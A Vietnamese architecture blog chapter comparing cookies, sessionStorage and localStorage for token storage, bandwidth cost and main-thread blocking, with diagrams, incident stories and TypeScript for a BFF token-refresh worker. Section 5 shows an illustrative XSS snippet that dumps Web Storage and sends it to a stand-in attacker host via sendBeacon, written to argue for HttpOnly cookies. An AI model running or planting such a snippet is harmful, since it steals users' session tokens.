← Chương trước: Phần 8: In-Memory Redis vs. Dapr Virtual Actors | Mục lục Series | Chương tiếp theo: Phần 10: Envoy Gateway vs. Cilium eBPF Service Mesh →

Phần 9: Cookie vs. SessionStorage vs. LocalStorage: Đối Đầu Thuế Băng Thông, Cô Lập Tab & Kiến Trúc Lưu Trữ Token 2026

Answer-first: Chọn HTTP Cookies (HttpOnly; Secure; SameSite=Strict; Path=/; __Host-) cho phiên đăng nhập có xác thực máy chủ, cổng kiểm soát SSR tại Edge và lưu trữ token bảo mật để triệt tiêu nguy cơ đánh cắp qua XSS. Sử dụng sessionStorage cho các quy trình giao dịch tạm thời cần cô lập theo từng Tab (như luồng thanh toán đa bước) nhằm chống xung đột trạng thái giữa các tab. Dành riêng localStorage cho các cài đặt giao diện gọn nhẹ (<50KB), không nhạy cảm (như chế độ tối, ngôn ngữ) để tránh hiện tượng nghẽn I/O đồng bộ làm tụt giảm chỉ số INP (Interaction to Next Paint). Đối với bộ nhớ đệm ngoại tuyến có cấu trúc (>5MB), hãy chuyển đổi ngay sang IndexedDB/OPFS.

🇬🇧 Read the English version of this article on tanhdev.com

Để xây dựng kiến trúc backend đồng bộ và tối ưu hóa hệ thống microservices chịu tải cao, bạn có thể tham khảo thêm các bài phân tích chuyên sâu tại tanhdev.com cùng các chương đối đầu trước trong Series Đánh Đổi Kiến Trúc & Những Cuộc Đối Đầu Công Nghệ.

1. Bối Cảnh Lịch Sử & Vấn Đề Kiến Trúc

Trong kiến trúc hệ thống web hiện đại, ranh giới giữa trạng thái máy khách (Client Runtime State) và hạ tầng máy chủ máy chủ (Server Infrastructure) là một trong những điểm nhạy cảm nhất về cả bảo mật lẫn hiệu năng truyền tải. Với sự bùng nổ của Single Page Applications (SPA), kiến trúc Server-Side Rendering tại Edge (Astro, Next.js, Remix trên Cloudflare Workers) và các mô hình Micro-Frontend, các kỹ sư liên tục phải đối mặt với câu hỏi cốt lõi: Dữ liệu trạng thái nên nằm ở đâu trên thiết bị người dùng, và cơ chế đồng bộ hóa với hệ thống backend nên diễn ra như thế nào?

Trong quá khứ, các cơ chế lưu trữ phía client thường được áp dụng theo cảm tính: lập trình viên tiện tay ném token xác thực vào localStorage, tích tụ hàng megabyte JSON cache mà không quan tâm đến bộ thu dọn rác (Garbage Collection), hoặc nhồi nhét toàn bộ thông tin người dùng vào HTTP Cookie. Khi ứng dụng bước vào môi trường sản xuất quy mô lớn với lưu lượng hàng chục ngàn yêu cầu mỗi giây (50,000+ RPS), những lối tắt này lập tức kích hoạt các kịch bản sụp đổ hệ thống nghiêm trọng:

1. Phình to Header Mạng & Nghẽn Băng Thông Tải Lên (Network Header Bloat): Từng byte dữ liệu lưu trong HTTP Cookie sẽ tự động gửi kèm trong mọi HTTP Request hướng về domain—bao gồm cả các yêu cầu tải tài nguyên tĩnh (hình ảnh, CSS, JS chunks, fonts). Một Cookie nặng 4KB khi nhân với 50 requests tài nguyên tĩnh sẽ làm lãng phí 200KB băng thông tải lên của người dùng trên mỗi lượt mở trang, làm đội trễ thời gian phản hồi đầu tiên (TTFB) và gây sập Gateway với lỗi 431 Request Header Fields Too Large.
2. Nghẽn Luồng Xử Lý Chính & Tụt Giảm Chỉ Số INP (Main-Thread Blocking): Cả localStorage và sessionStorage đều hoạt động theo cơ chế I/O đồng bộ chặn đứng luồng (Synchronous Blocking I/O) trực tiếp trên Main Thread của trình duyệt. Việc đọc hoặc ghi một chuỗi JSON nặng 2MB–5MB sẽ đóng băng vòng lặp sự kiện (Event Loop), gây rớt khung hình (Jank) và phá hủy chỉ số INP (Interaction to Next Paint) cũng như Total Blocking Time (TBT).
3. Sụp Đổ Ranh Giới An Ninh (Thảm Họa XSS & Token Exfiltration): Lưu trữ JWT Access Token dài hạn hoặc dữ liệu khách hàng nhạy cảm trong localStorage tạo ra một “hũ mật” vĩnh cửu. Chỉ cần một lỗ hổng Cross-Site Scripting (XSS) duy nhất lọt qua một thư viện phân tích bên thứ ba hoặc một gói npm bị tấn công chuỗi cung ứng, kẻ tấn công có thể hút sạch toàn bộ dữ liệu người dùng chỉ bằng một dòng mã JavaScript.

flowchart TD
    subgraph ClientSpace ["Không Gian Trình Duyệt Client (Origin: https://app.example.com)"]
        subgraph Tab1 ["Tab Trình Duyệt 1 (Luồng Thanh Toán)"]
            DOM1["DOM Context 1"]
            SS1[("sessionStorage<br/><b>5-10MB (Cô lập theo Tab)</b>")]
        end
        subgraph Tab2 ["Tab Trình Duyệt 2 (Duyệt Danh Mục)"]
            DOM2["DOM Context 2"]
            SS2[("sessionStorage<br/><b>5-10MB (Cô lập theo Tab)</b>")]
        end
        subgraph SharedStorage ["Vùng Lưu Trữ Dùng Chung (Shared Origin)"]
            LS[("localStorage<br/><b>5-10MB (Vĩnh viễn / Toàn Origin)</b>")]
            IDB[("IndexedDB / OPFS<br/><b>Bất đồng bộ / Dung lượng Gigabyte</b>")]
            CK[("HTTP Cookie Jar<br/><b>~4KB (Ranh giới Domain/Path)</b>")]
        end

        DOM1 <-->|Độc quyền Tab 1| SS1
        DOM2 <-->|Độc quyền Tab 2| SS2
        DOM1 <-->|I/O Đồng Bộ Chặn Luồng| LS
        DOM2 <-->|I/O Đồng Bộ Chặn Luồng| LS
        DOM1 <-->|Bất Đồng Bộ Non-Blocking| IDB
        DOM2 <-->|Bất Đồng Bộ Non-Blocking| IDB
        DOM1 -.->|Đọc/Ghi JS nếu không HttpOnly| CK
        DOM2 -.->|Đọc/Ghi JS nếu không HttpOnly| CK
    end

    subgraph NetworkEdge ["Tầng Vận Chuyển Mạng & Cloudflare Edge"]
        HTTPHeader["HTTP Request Header<br/><b>Cookie: sid=xyz...</b>"]
        EdgeWorker["Cloudflare Edge Worker / WAF<br/>(Xác thực Token SSR, Auth Gate)"]
        OriginAPI["Backend Microservices API"]
    end

    CK ==>|TỰ ĐỘNG đính kèm vào MỌI Request| HTTPHeader --> EdgeWorker --> OriginAPI
    LS -.x|0 Byte qua mạng (Thuần Client)| HTTPHeader
    SS1 -.x|0 Byte qua mạng (Thuần Client)| HTTPHeader

2. Ma Trận Đối Đầu 3 Chiều (Architectural Showdown Matrix)

Bảng so sánh đa chiều dưới đây mổ xẻ toàn diện các khía cạnh kỹ thuật, ranh giới an ninh và sự đánh đổi vận hành giữa ba cơ chế lưu trữ:

3. Điểm Nghẽn 1: Thuế Băng Thông Header & Phình To Payload Mạng

Toán Học Về Chi Phí Tải Lên Của Cookie

Khác với localStorage hay sessionStorage chỉ nằm yên trong vùng nhớ của trình duyệt, HTTP Cookie là một phần cấu thành của tầng vận chuyển HTTP. Bất kỳ yêu cầu tải tài nguyên nào—từ ảnh đại diện, file CSS, bundle JS đến font chữ—đều bắt buộc phải mang theo header Cookie:.

Gọi $S_c$ là dung lượng toàn bộ cookie tính bằng byte, $N_r$ là tổng số lượng HTTP request cần thiết để hiển thị một trang web, và $U_b$ là tổng dung lượng tải lên bị tiêu tốn riêng cho Cookie:

[ U_b = N_r imes S_c ]

Hãy xét một trang thương mại điện tử thực tế:

• $S_c = 3.8 ext{ KB}$ (chứa user profile, pixel tracking, session ID, thông tin giỏ hàng tạm)
• $N_r = 65 ext{ requests}$ (1 tài liệu HTML, 12 file JS chunks, 4 file CSS, 38 ảnh sản phẩm, 10 API requests)

[ U_b = 65 imes 3.8 ext{ KB} = 247 ext{ KB Băng Thông Upload Bị Lãng Phí Mỗi Lần Tải Trang!} ]

Trên đường truyền mạng di động 4G/5G tại các vùng sóng yếu với tốc độ tải lên chỉ đạt 1.5 Mbps và độ trễ RTT là 80ms, việc upload 247 KB header thừa thãi sẽ làm chậm thời gian phản hồi máy chủ (TTFB) thêm hơn 1,300ms trước khi máy chủ có thể bắt đầu xử lý nghiệp vụ.

┌────────────────────────────────────────────────────────────────────────────────────────┐
│ SOI GÓI TIN HTTP REQUEST THỰC TẾ                                                       │
├────────────────────────────────────────────────────────────────────────────────────────┤
│ GET /static/images/product-thumbnail-01.webp HTTP/2                                   │
│ Host: app.example.com                                                                  │
│ User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_2 like Mac OS X)...                  │
│ Accept: image/avif,image/webp,image/apng,*/*;q=0.8                                     │
│ Cookie: __Host-sid=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855;   │
│         _ga=GA1.2.198273645.1740000000; _fbp=fb.1.1740000000.123456789;               │
│         user_prefs_cart_snapshot_v2=eyJpdGVtcyI6W3siaWQiOiJTS1UtOTk4MSIsInF0eSI6M31... │ ← 3.8KB LÃNG PHÍ!
└────────────────────────────────────────────────────────────────────────────────────────┘

Thiết Lập An Toàn Với Cookie Prefix (__Host- & __Secure-)

Để ngăn chặn tấn công giả mạo cookie từ subdomain (Subdomain Poisoning) và bắt buộc truyền tải bảo mật, các hệ thống chuẩn Enterprise bắt buộc phải sử dụng tiền tố chuẩn RFC 6265bis:

HTTP/1.1 200 OK
Set-Cookie: __Host-AuthToken=v4.local.A8fK92...; Secure; HttpOnly; SameSite=Strict; Path=/; Max-Age=3600

1. Quy tắc của tiền tố __Host-:
   • Bắt buộc phải truyền tải qua giao thức HTTPS (có cờ Secure).
   • Bắt buộc phải có Path=/ (không được giới hạn ở sub-path).
   • Tuyệt đối KHÔNG được chứa thuộc tính Domain (nghĩa là cookie bị khóa chặt vào chính xác host phát hành, ngăn chặn các subdomain nguy hiểm như bad.example.com ghi đè lên app.example.com).
2. Quy tắc của tiền tố __Secure-:
   • Bắt buộc phải truyền tải qua giao thức HTTPS (có cờ Secure).

4. Điểm Nghẽn 2: Cái Bẫy I/O Đồng Bộ & Chặn Đứng Luồng Xử Lý Chính

Cơ Chế Đóng Băng Vòng Lặp Sự Kiện (Event Loop Choke Point)

Cả localStorage và sessionStorage đều tuân theo giao diện Storage trong chuẩn HTML Living Standard. Giao diện này quy định tất cả các phương thức đọc/ghi đều là đồng bộ (Synchronous):

// Cú pháp I/O đồng bộ bắt buộc của Web Storage API
Storage.prototype.getItem(key: string): string | null;
Storage.prototype.setItem(key: string, value: string): void;

Khi ứng dụng gọi lệnh localStorage.getItem('LARGE_CATALOG_DATA'):

1. Động cơ JavaScript V8 tạm dừng toàn bộ việc thực thi trên Main Thread.
2. Tiến trình trình duyệt thực hiện lệnh đọc đồng bộ xuống file cơ sở dữ liệu SQLite hoặc LevelDB lưu trên ổ đĩa SSD của thiết bị.
3. Dữ liệu nhị phân thô được giải mã thành chuỗi UTF-16 JavaScript trong bộ nhớ RAM.
4. Lập trình viên lập tức gọi JSON.parse(data), buộc CPU chạy một thuật toán duyệt cây phân tích cú pháp tốn nhiều tài nguyên.

sequenceDiagram
    autonumber
    actor User as Người dùng thao tác (Chạm / Nhập liệu)
    participant MT as Main Thread Trình Duyệt (Event Loop)
    participant Disk as Ổ Đĩa / File SQLite Trình Duyệt
    participant V8 as V8 Memory Heap (RAM)

    User->>MT: Nhấn nút "Đặt Hàng" (Mục tiêu phản hồi < 50ms)
    Note over MT: Bắt đầu thực thi mã JavaScript...
    MT->>Disk: localStorage.getItem("OFFLINE_CATALOG") [3.8 MB]
    Note over MT,Disk: ⚠️ MAIN THREAD BỊ ĐÓNG BĂNG (Đọc ổ cứng đồng bộ: 35ms)
    Disk-->>MT: Trả về chuỗi ký tự UTF-16
    MT->>V8: JSON.parse(catalogString)
    Note over MT,V8: ⚠️ CPU QUÁ TẢI (Phân tích cú pháp JSON: 65ms)
    Note over MT: Tổng thời gian nghẽn luồng: 100ms! (Rớt khung hình, UI bị đơ)
    MT-->>User: Giao diện phản hồi cập nhật (INP = 100ms - XẾP LOẠI KÉM)

Phóng Đại Dung Lượng Bộ Nhớ RAM (Memory Amplification)

Trong động cơ V8, chuỗi ký tự JavaScript được biểu diễn bằng định dạng UTF-16 (tốn 2 bytes cho mỗi ký tự). Việc lưu trữ chuỗi JSON 4MB trong localStorage và sau đó parse thành một object graph hoàn chỉnh sẽ tiêu tốn bộ nhớ gấp 3 đến 4 lần:

1. 4 MB trong file cơ sở dữ liệu SQLite trên ổ cứng.
2. 4 MB – 8 MB cho chuỗi ký tự nguyên bản trong bộ nhớ RAM.
3. 12 MB – 16 MB cho cấu trúc đối tượng V8 (hidden classes, con trỏ object, prototype chains).

Tổng dung lượng RAM bị chiếm dụng chỉ cho một lần đọc dữ liệu “tiện lợi”: ~24 MB đến ~28 MB, ngay lập tức kích hoạt các đợt dọn rác bộ nhớ (Garbage Collection GC Sweeps) làm giật lag điện thoại cấu hình tầm trung.

5. Điểm Nghẽn 3: Ranh Giới Bảo Mật & Đấu Trường Lưu Trữ Token

Kịch Bản Tấn Công Rút Ruột Token Qua Lỗ Hổng XSS

Một trong những sai lầm kiến trúc phổ biến nhất trong các ứng dụng SPA là lưu trữ JWT Access Token dài hạn hoặc Refresh Token trong localStorage hay sessionStorage.

// Mã độc bị tiêm vào qua một thư viện npm bên thứ 3 hoặc lỗ hổng XSS
(async () => {
    const stolenTokens = {
        localStorage: { ...localStorage },
        sessionStorage: { ...sessionStorage }
    };
    // Gửi sạch toàn bộ token của người dùng về máy chủ hacker chỉ trong 1 dòng lệnh
    navigator.sendBeacon('https://attacker-c2-server.com/collect', JSON.stringify(stolenTokens));
})();

Nếu một token xác thực được lưu trong Web Storage, bất kỳ đoạn mã JavaScript nào đang chạy trên domain đó đều có toàn quyền đọc được nó. Danh sách này bao gồm:

• Các thẻ theo dõi phân tích bên thứ ba (Google Tag Manager, Meta Pixel, Hotjar).
• Các widget chat hỗ trợ khách hàng tích hợp ngoài.
• Các gói mã nguồn mở (dependencies) trong node_modules bị tấn công chuỗi cung ứng.

Cơ Chế Phòng Thủ Chiều Sâu Của HttpOnly

Khi token được lưu trong một Cookie có cờ HttpOnly, động cơ JavaScript của trình duyệt sẽ bị cắt đứt hoàn toàn khỏi hũ lưu trữ cookie:

console.log(document.cookie); // Kết quả: "" (Mã JS không thể nhìn thấy __Host-AuthToken)

Ngay cả khi kẻ tấn công khai thác thành công một lỗ hổng XSS và thực thi được JavaScript từ xa:

• Chúng không thể đọc được giá trị token.
• Chúng không thể sao chép token về máy chủ C2 để bẻ khóa ngoại tuyến.
• Chúng bị giới hạn trong việc chỉ có thể gửi các request mù (blind HTTP requests) từ bên trong phiên duyệt web của nạn nhân (điều này có thể được phòng thủ chặt chẽ bằng Content Security Policy - CSP, CORS và thuật toán phát hiện bất thường).

┌────────────────────────┬───────────────────┬────────────────────────────────────────────────────────┐
│ Vị Trí Lưu Trữ         │ Nguy Cơ XSS       │ Nguy Cơ CSRF & Đánh Giá Kiến Trúc                      │
├────────────────────────┼───────────────────┼────────────────────────────────────────────────────────┤
│ localStorage           │ 🔴 THẢM HỌA       │ 🟢 Miễn nhiễm CSRF, nhưng chết đứng trước XSS. Cấm kỵ. │
│ sessionStorage         │ 🔴 THẢM HỌA       │ 🟢 Miễn nhiễm CSRF. Rất nguy hiểm cho token đăng nhập. │
│ JS In-Memory (Closure) │ 🟡 RỦI RO TẠM THỜI│ 🟢 Miễn nhiễm CSRF. Bị xóa sạch khi F5 hoặc mở tab mới.│
│ HttpOnly Secure Cookie │ 🟢 MIỄN NHIỄM 100%│ 🟡 Kiểm soát an toàn qua SameSite=Strict + Anti-CSRF.  │
└────────────────────────┴───────────────────┴────────────────────────────────────────────────────────┘

6. Ba Câu Chuyện Lỗi Thực Tế Từ Môi Trường Production

Case 1: Lỗi Tràn Header 431 Trên Cloudflare Edge & Mất Doanh Thu Mùa Sale

🔥 [Production Failure]: Lỗi Tràn Header 431 Gây Sập Luồng Thanh Toán Toàn Cầu
Hiện tượng (Symptom): Trong một chiến dịch quảng cáo cao điểm, 12% lượng khách hàng dùng điện thoại di động gặp lỗi 431 Request Header Fields Too Large từ Cloudflare Edge khi cố gắng xem sản phẩm hoặc bấm vào giỏ hàng.
Nguyên nhân gốc rễ (Root Cause): Đội ngũ frontend đã cấu hình một cookie để lưu trữ lịch sử duyệt web và danh sách SKU trong giỏ hàng (user_history_state). Càng xem nhiều món đồ, cookie càng phình to lên đến 4.9 KB. Khi cộng dồn với các cookie xác thực và header mặc định của trình duyệt, tổng kích thước header vượt quá giới hạn 8 KB mặc định của Cloudflare.
📊 Thiệt hại (Impact): Thiệt hại hơn 140,000 USD tổng giá trị đơn hàng (GMV) chỉ trong 4 giờ; tỷ lệ thoát trang trên thiết bị di động vọt từ 22% lên 68%.
📈 Giải pháp khắc phục (Resolution): Gỡ bỏ toàn bộ dữ liệu lịch sử khỏi cookie. Thay thế bằng một mã định danh UUID ngẫu nhiên 16 bytes trỏ tới Cloudflare KV tại Edge. Thiết lập quy tắc kiểm tra tự động (Linter) trong CI/CD giới hạn tổng kích thước cookie $\le 512 ext{ bytes}$.
(Nguồn: Báo cáo sự cố Nền tảng Bán lẻ Thời trang D2C Quốc tế, 2025)

Case 2: Đơ Giật Khi Thanh Toán — Tụt Giảm INP Do File Danh Mục 4.2MB Trong LocalStorage

🔥 [Production Failure]: Đóng Băng Luồng Xử Lý Chính Trên Điện Thoại Di Động Mùa Flash Sale
Hiện tượng (Symptom): Khách hàng sử dụng điện thoại Android tầm trung bị đơ cứng màn hình từ 300ms đến 800ms khi gõ địa chỉ giao hàng trong trang thanh toán. Google Search Console đồng loạt cảnh báo lỗi nghiêm trọng về chỉ số Interaction to Next Paint (INP > 200ms).
Nguyên nhân gốc rễ (Root Cause): Nhằm mục đích “hỗ trợ tìm kiếm ngoại tuyến tức thì”, ứng dụng thanh toán đã tự động đọc một file danh mục JSON nặng 4.2 MB từ localStorage một cách đồng bộ mỗi khi người dùng gõ phím để đối soát tồn kho. Lệnh localStorage.getItem() kết hợp với JSON.parse() đã liên tục chiếm dụng và chặn đứng Event Loop.
📊 Thiệt hại (Impact): Tỷ lệ chuyển đổi đơn hàng trên di động giảm 34%; toàn bộ các trang đích sản phẩm bị đánh rớt thứ hạng Core Web Vitals trên Google.
📈 Giải pháp khắc phục (Resolution): Chuyển đổi toàn bộ bộ nhớ đệm danh mục sang IndexedDB sử dụng thư viện idb-keyval, tách rời hoàn toàn việc đọc ổ đĩa khỏi Main Thread và đưa việc truy vấn vào một Dedicated Web Worker chạy ngầm. Chỉ số INP giảm ngoạn mục từ 280ms xuống chỉ còn 18ms.
(Nguồn: Kiểm định Kiến trúc Thương mại Điện tử Composable, 2026)

Case 3: Vụ Rò Rỉ Token 2.4 Triệu USD Do Mã Độc Chuỗi Cung Ứng

🔥 [Production Failure]: Chiếm Đoạt Hàng Loạt Tài Khoản Do SDK Phân Tích Bị Đột Nhập
Hiện tượng (Symptom): Hơn 45,000 tài khoản khách hàng doanh nghiệp bị đổi mật khẩu và đánh cắp API key mà không hề có bất kỳ dấu hiệu xâm nhập nào vào cơ sở dữ liệu backend.
Nguyên nhân gốc rễ (Root Cause): Ứng dụng lưu trữ OAuth JWT Refresh Token trong localStorage để tự động duy trì đăng nhập sau khi mở lại máy tính. Một SDK widget phản hồi khách hàng nhúng trên web bị tấn công chuỗi cung ứng trên kho npm. Đoạn mã độc đã tự động quét sạch toàn bộ localStorage và bí mật gửi toàn bộ token về máy chủ của kẻ tấn công qua hàm navigator.sendBeacon().
📊 Thiệt hại (Impact): Buộc phải thu hồi và hủy toàn bộ phiên đăng nhập trên toàn cầu, chịu án phạt vi phạm GDPR/PDPA lên đến 2.4 triệu USD, cùng sự suy giảm uy tín thương hiệu nghiêm trọng.
📈 Giải pháp khắc phục (Resolution): Loại bỏ hoàn toàn token khỏi Web Storage của trình duyệt. Tái cấu trúc quy trình xác thực theo mô hình BFF (Backend-For-Frontend), cấp phát cookie HttpOnly; Secure; SameSite=Strict mang tiền tố __Host- cho luồng làm mới phiên.
(Nguồn: Sự cố Hạ tầng SaaS Ngân hàng FinTech, 2025)

7. Kiến Trúc Doanh Nghiệp Chuẩn 2026: Mô Hình BFF & Đồng Bộ Đa Tab

Mô Hình BFF (Backend-For-Frontend) Trao Đổi Token Tại Edge

Trong kiến trúc đám mây và biên hiện đại (Cloudflare Workers, Astro SSR, Next.js Edge), ứng dụng Single Page App phía client không bao giờ được phép trực tiếp lưu trữ các thông tin bảo mật dài hạn. Tầng Edge sẽ đóng vai trò là một cổng bảo mật mật mã học:

sequenceDiagram
    autonumber
    actor User as Trình Duyệt Client (SPA)
    participant Edge as Cloudflare Worker Edge (Cổng BFF)
    participant IdP as Máy Chủ Định Danh (OAuth2 / OIDC)
    participant API as Microservices Backend (Go / gRPC)

    User->>Edge: POST /api/auth/login (Tài khoản, Mật khẩu)
    Edge->>IdP: Xác thực thông tin đăng nhập
    IdP-->>Edge: Trả về Refresh Token (Dài hạn) + Access Token (JWT 15 phút)
    Edge-->>User: Set-Cookie: __Host-RefreshToken=XYZ...; HttpOnly; Secure; SameSite=Strict; Path=/api/auth<br/>Nội dung Response Body: { accessToken: "eyJ...", expiresIn: 900 }
    Note over User: Access Token CHỈ lưu trong Bộ nhớ JS (Biến Closure)

    Note over User,API: Luồng Gọi API Nghiệp Vụ
    User->>Edge: GET /api/v1/orders (Authorization: Bearer <MemoryToken>)
    Edge->>API: Chuyển tiếp Request đã xác thực
    API-->>Edge: Trả về JSON đơn hàng
    Edge-->>User: 200 OK (Dữ liệu đơn hàng)

    Note over User,Edge: Luồng Làm Mới Token Tự Động (Khi Hết Hạn hoặc F5 Trang)
    User->>Edge: POST /api/auth/refresh (Cookie Refresh tự động gửi kèm)
    Edge->>IdP: Xoay vòng Refresh Token mới
    IdP-->>Edge: Cấp Refresh Token mới + Access Token mới
    Edge-->>User: Set-Cookie: Refresh Token mới<br/>Response Body: { accessToken: "eyJ..." }

Triển Khai Thực Chiến Trên Cloudflare Edge Worker (TypeScript)

Đoạn mã Cloudflare Edge Worker dưới đây triển khai cơ chế trao đổi token an toàn với tính năng xoay vòng cookie HttpOnly:

// cloudflare-auth-bff.ts
export interface Env {
  AUTH_SECRET: string;
  IDENTITY_SERVICE_URL: string;
}

export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    const url = new URL(request.url);

    // Tuyến đường: Trao đổi Refresh Token lấy Access Token mới
    if (url.pathname === '/api/auth/refresh' && request.method === 'POST') {
      const cookieHeader = request.headers.get('Cookie') || '';
      const refreshToken = parseCookie(cookieHeader, '__Host-RefreshToken');

      if (!refreshToken) {
        return new Response(JSON.stringify({ error: 'Không tìm thấy refresh token' }), {
          status: 401,
          headers: { 'Content-Type': 'application/json' },
        });
      }

      // Trao đổi với Identity Provider an toàn tại Edge
      const idpResponse = await fetch(`${env.IDENTITY_SERVICE_URL}/oauth/token`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          grant_type: 'refresh_token',
          refresh_token: refreshToken,
        }),
      });

      if (!idpResponse.ok) {
        return new Response(JSON.stringify({ error: 'Token không hợp lệ hoặc đã hết hạn' }), { status: 401 });
      }

      const data = await idpResponse.json();

      // Cấp phát cookie HttpOnly mới và trả Access Token vào bộ nhớ RAM của client
      const response = new Response(
        JSON.stringify({
          accessToken: data.access_token,
          expiresIn: data.expires_in,
        }),
        {
          status: 200,
          headers: { 'Content-Type': 'application/json' },
        }
      );

      response.headers.set(
        'Set-Cookie',
        `__Host-RefreshToken=${data.refresh_token}; HttpOnly; Secure; SameSite=Strict; Path=/api/auth; Max-Age=2592000`
      );

      return response;
    }

    return new Response('Not Found', { status: 404 });
  },
};

function parseCookie(cookieHeader: string, name: string): string | null {
  const match = cookieHeader.match(new RegExp('(^|;\s*)(' + name + ')=([^;]*)'));
  return match ? decodeURIComponent(match[3]) : null;
}

Đồng Bộ Đăng Xuất Đa Tab Bằng BroadcastChannel

Khi người dùng mở 10 tab cùng lúc trên trình duyệt, hành động đăng xuất tại Tab 1 phải lập tức hủy phiên làm việc trên 9 tab còn lại mà không cần liên tục gửi request polling:

// auth-tab-sync.ts
export class CrossTabAuthManager {
  private channel: BroadcastChannel;

  constructor(private onLogoutCallback: () => void) {
    this.channel = new BroadcastChannel('enterprise_auth_channel');
    this.channel.onmessage = (event: MessageEvent) => {
      if (event.data?.type === 'GLOBAL_LOGOUT') {
        this.onLogoutCallback();
      }
    };

    // Dự phòng cho các trình duyệt cũ thông qua sự kiện storage của localStorage
    window.addEventListener('storage', (event: StorageEvent) => {
      if (event.key === '__auth_event_signal__' && event.newValue === 'LOGOUT') {
        this.onLogoutCallback();
      }
    });
  }

  public triggerGlobalLogout(): void {
    // 1. Phát sóng thông điệp tới mọi tab khác qua BroadcastChannel (Độ trễ micro-giây)
    this.channel.postMessage({ type: 'GLOBAL_LOGOUT', timestamp: Date.now() });

    // 2. Kích hoạt sự kiện storage dự phòng
    localStorage.setItem('__auth_event_signal__', 'LOGOUT');
    localStorage.removeItem('__auth_event_signal__');

    // 3. Thực thi dọn dẹp tại tab hiện tại
    this.onLogoutCallback();
  }
}

8. Cây Quyết Định Kiến Trúc & Cẩm Nang Thực Chiến

flowchart TD
    Start["Yêu cầu lưu trữ dữ liệu mới phía Client"] --> Q1{"Server hoặc Edge SSR có cần đọc dữ liệu<br/>trong HTTP Header để Render HTML không?"}
    
    Q1 -- CÓ --> UseCookie["<b>SỬ DỤNG HTTP COOKIE</b><br/>• Cấu hình: __Host-, HttpOnly, Secure, SameSite=Strict<br/>• Giới hạn dung lượng: ≤ 512 bytes<br/>• Ví dụ: Session ID, Refresh Token, Biến thể A/B Test"]
    
    Q1 -- KHÔNG --> Q2{"Dữ liệu có phải là Token xác thực,<br/>Mật khẩu hoặc Thông tin nhạy cảm không?"}
    
    Q2 -- CÓ --> UseMemoryOrBFF["<b>MÔ HÌNH BFF + IN-MEMORY TOKEN</b><br/>• Refresh token trong HttpOnly Cookie<br/>• Access token lưu trong biến JS Memory<br/>• TUYỆT ĐỐI KHÔNG LƯU trong localStorage / sessionStorage"]
    
    Q2 -- KHÔNG --> Q3{"Dung lượng dữ liệu > 50 KB hoặc cần<br/>truy vấn có cấu trúc / lưu file binary?"}
    
    Q3 -- CÓ --> UseIndexedDB["<b>SỬ DỤNG INDEXEDDB / OPFS</b><br/>• I/O Bất đồng bộ không gây nghẽn Main Thread<br/>• Dung lượng Gigabyte, hỗ trợ Web Worker<br/>• Ví dụ: Danh mục offline, Vector embeddings, File nháp"]
    
    Q3 -- KHÔNG --> Q4{"Dữ liệu có cần cô lập riêng theo từng Tab<br/>(để chống xung đột trạng thái giữa các tab)?"}
    
    Q4 -- CÓ --> UseSessionStorage["<b>SỬ DỤNG SESSIONSTORAGE</b><br/>• Tự hủy khi đóng tab<br/>• Ví dụ: Luồng thanh toán đa bước, Form nhập liệu dở dang"]
    
    Q4 -- KHÔNG --> UseLocalStorage["<b>SỬ DỤNG LOCALSTORAGE</b><br/>• Dùng chung trên toàn bộ origin<br/>• Giới hạn: < 20 KB mỗi key<br/>• Ví dụ: Giao diện Sáng/Tối, Ngôn ngữ hiển thị, Menu thu gọn"]

Câu Hỏi Thường Gặp (FAQ)

Q1: Tại sao tuyệt đối không nên lưu trữ JWT Access Token trong LocalStorage?

Bởi vì localStorage hoàn toàn không có cơ chế bảo vệ trước mã độc JavaScript. Nếu trang web dính bất kỳ lỗ hổng XSS nào (từ thư viện bên thứ 3, SDK quảng cáo, hoặc npm dependency bị tấn công chuỗi cung ứng), kẻ tấn công chỉ cần 1 dòng lệnh localStorage.getItem() là có thể đánh cắp vĩnh viễn token của người dùng. Giải pháp an toàn là áp dụng kiến trúc BFF (Backend-For-Frontend): lưu Refresh Token trong Cookie HttpOnly; Secure; SameSite=Strict và giữ Access Token thuần túy trong bộ nhớ biến JavaScript (In-Memory).

Q2: SessionStorage có chia sẻ dữ liệu khi người dùng mở Duplicate Tab hoặc chuột phải chọn “Open link in new tab” không?

Theo chuẩn HTML Living Standard, khi mở một tab mới qua liên kết (target="_blank"), trình duyệt có thể sao chép dữ liệu của sessionStorage từ tab cha sang tab con tại thời điểm khởi tạo, nhưng ngay sau đó hai tab hoàn toàn độc lập. Bất kỳ thao tác thay đổi hay xóa dữ liệu trên Tab A sẽ không phản ánh sang Tab B. Nếu người dùng mở tab mới bằng cách gõ URL trực tiếp, sessionStorage của tab đó sẽ hoàn toàn trống rỗng (empty).

Q3: Khi nào đội ngũ kỹ sư bắt buộc phải chuyển từ LocalStorage sang IndexedDB?

Cần chuyển đổi sang IndexedDB ngay khi: (1) Dữ liệu lưu trữ vượt quá 50 KB (tránh nghẽn Main Thread Event Loop gây rớt khung hình và phá vỡ chỉ số INP); (2) Cần thực hiện truy vấn phức tạp (indexing, key range scan); (3) Cần lưu trữ dữ liệu nhị phân (Blob, ArrayBuffer, File offline); (4) Dữ liệu cần được truy xuất từ Web Workers hoặc Service Workers trong các ứng dụng Offline-first PWA.

🔗 Điều Hướng Bài Học & Masterclass Navigation

• 🚀 Tiếp tục nghiên cứu kiến trúc Edge & Frontend:
  • Khám phá cách Cloudflare Edge xử lý Cookie và SSR tại: Deploying Astro on Cloudflare: Full-Stack Edge Architecture
  • Tìm hiểu cách kiến trúc AI-Native quản lý trạng thái động tại: Generative UI with Model Context Protocol (MCP)
• 💼 Tư vấn kiến trúc hệ thống chuyên sâu:
  • Tham khảo dịch vụ cố vấn kiến trúc phân tán & bảo mật tại: Lê Tuấn Anh — Architecture Consulting & Engineering